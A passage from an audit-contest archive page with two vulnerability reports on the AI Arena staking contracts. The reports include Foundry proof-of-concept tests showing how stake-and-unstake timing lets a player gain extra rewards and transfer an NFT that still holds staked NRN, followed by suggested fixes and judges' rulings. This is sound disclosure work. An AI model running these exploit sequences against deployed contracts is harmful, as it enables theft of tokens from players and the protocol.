pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import {StakeAtRisk} from "../src/StakeAtRisk.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {GasHelpers} from "./GasLeft.sol"; contract RankedBattleTest is Test { /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; StakeAtRisk internal _stakeAtRiskContract; GasHelpers gasHelp; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } function setUp() public { _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); gasHelp = new GasHelpers(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract) ); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _stakeAtRiskContract = new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract)); _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true); _neuronContract.addStaker(address(_rankedBattleContract)); _neuronContract.addMinter(address(_rankedBattleContract)); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract)); _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.addStaker(address(_rankedBattleContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); } /*////////////////////////////////////////////////////////////// HELPERS //////////////////////////////////////////////////////////////*/ /// @notice Helper function to mint an fighter nft to an address. function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } /// @notice Helper function to fund an account with 4k $NRN tokens. function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } function testClaimNRN() public { address staker = vm.addr(3); address claimee = vm.addr(4); _mintFromMergingPool(claimee); _mintFromMergingPool(staker); _fundUserWith4kNeuronByTreasury(claimee); vm.prank(claimee); _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 0); //Let's add some games vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //we set initiator to true so that it spends voltage _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //2 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //3 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //4 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //5 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //6 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //7 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //8 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //9 _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //10 => no more voltage vm.expectRevert(); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); vm.startPrank(address(claimee)); _rankedBattleContract.unstakeNRN(type(uint256).max, 0); //unstake uint256 balanceClaime = _neuronContract.balanceOf(claimee); _neuronContract.transfer(staker, balanceClaime); // transfer the stake vm.startPrank(address(staker)); uint256 balanceStaker = _neuronContract.balanceOf(staker); _rankedBattleContract.stakeNRN(balanceStaker, 1); // stake again and play vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); // play 10 games again _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); } }

Tools Used

Manual review

In order to mitigate this, rewards should not be staked and unstaked within the same round. There should be one round delay between staking and unstaking.


++  mapping(uint256 => mapping(uint256 => bool)) public hasStaked;

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
++  require(hasStaked[tokenId][roundId] == false, "Please wait next round to 
     unstake");

Assessed type

Other

#0 - c4-pre-sort

2024-02-25T03:51:41Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-25T03:52:02Z

raymondfam marked the issue as duplicate of #395

#2 - c4-judge

2024-03-14T10:40:58Z

HickupHH3 marked the issue as duplicate of #137

#3 - c4-judge

2024-03-14T10:42:24Z

HickupHH3 marked the issue as partial-25

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/RankedBattle.sol#L271-L291

Vulnerability details

Vulnerability details

When a user stakes $NRN on their NFT, the contract secures it, rendering it untransferrable until the user decides to unstake. This precautionary measure is in place to prevent inadvertent $NRN transfers along with NFTs. As part of the game dynamics, players may incur point losses when they experience defeats, and in cases where a player lacks sufficient points, a portion of their stake becomes vulnerable. Upon unstaking all $NRN, the Fighter NFT becomes transferrable. However, this unstaking action doesn't consider the stake at risk that a player might have won back or currently has in jeopardy. The issue arises when a user successfully recovers $NRN from a stake at risk, yet this recovery does not trigger a re-locking of the NFT. Consequently, there is a risk of mistakenly transferring an NFT that still holds some stake, which can occur if the player decides to unstake while there is an outstanding stake at risk on their NFT.

Impact

Players will transfer NFT's with staked $NRN or $NRN at risk.

Proof of Concept

When unstaking the available $NRN

            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }

The contract will allow us to send the NFT to another address through the updateFighterStaking() function. But the current stake at risk isn't accounted for which means that if the players earns the stake at risk back the player might end up sending the NFT to another address with $NRN or $NRN at risk included.

Coded POC

The coded poc below illustrates a case where the user transfers an NFT with stake on it.

//UnstakeButStaked pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import {StakeAtRisk} from "../src/StakeAtRisk.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {GasHelpers} from "./GasLeft.sol"; contract UnstakeButStaked is Test { /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; StakeAtRisk internal _stakeAtRiskContract; GasHelpers gasHelp; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } function setUp() public { _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); gasHelp = new GasHelpers(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract) ); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _stakeAtRiskContract = new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract)); _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true); _neuronContract.addStaker(address(_rankedBattleContract)); _neuronContract.addMinter(address(_rankedBattleContract)); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract)); _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.addStaker(address(_rankedBattleContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); } function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } /// @notice Helper function to fund an account with 4k $NRN tokens. function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } function test_sendWithStaked() public { address staker = vm.addr(3); address claimee = vm.addr(4); _mintFromMergingPool(claimee); _fundUserWith4kNeuronByTreasury(claimee); vm.prank(claimee); _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 0); // what is next ? unstake and win a few times get some staked at risk back loseStreak(); vm.startPrank(claimee); _rankedBattleContract.unstakeNRN(type(uint256).max, 0); winStreak(); uint256 amountAtRisk = _stakeAtRiskContract.stakeAtRisk(0, 0); vm.startPrank(claimee); _fighterFarmContract.transferFrom(claimee ,staker, 0); vm.startPrank(staker); _rankedBattleContract.unstakeNRN(type(uint256).max, 0); uint256 balanceOfReceiver = _neuronContract.balanceOf(staker); assertGt(balanceOfReceiver, 0); // > 0 } function loseStreak() public { vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); vm.warp(block.timestamp + 1 days); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); vm.warp(block.timestamp + 1 days); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); } function winStreak() public { vm.startPrank(address(_GAME_SERVER_ADDRESS)); vm.warp(block.timestamp + 1 days); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); } }

Tools Used

Manual review

Make sure that the NFT stake at risk balance is also 0 before unstaking it.


  function unstakeNRN(uint256 amount, uint256 tokenId) external {
        
              . . .

        if (success) {
   --         if (amountStaked[tokenId] == 0) {
   ++         if (amountStaked[tokenId] == 0 && 
   ++  _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) { 
               _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }


## Assessed type

Other

#0 - c4-pre-sort

2024-02-24T04:21:07Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-24T04:22:17Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-judge

2024-03-12T04:01:25Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-12T04:03:31Z

HickupHH3 changed the severity to 2 (Med Risk)

#4 - c4-judge

2024-03-12T06:54:19Z

HickupHH3 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter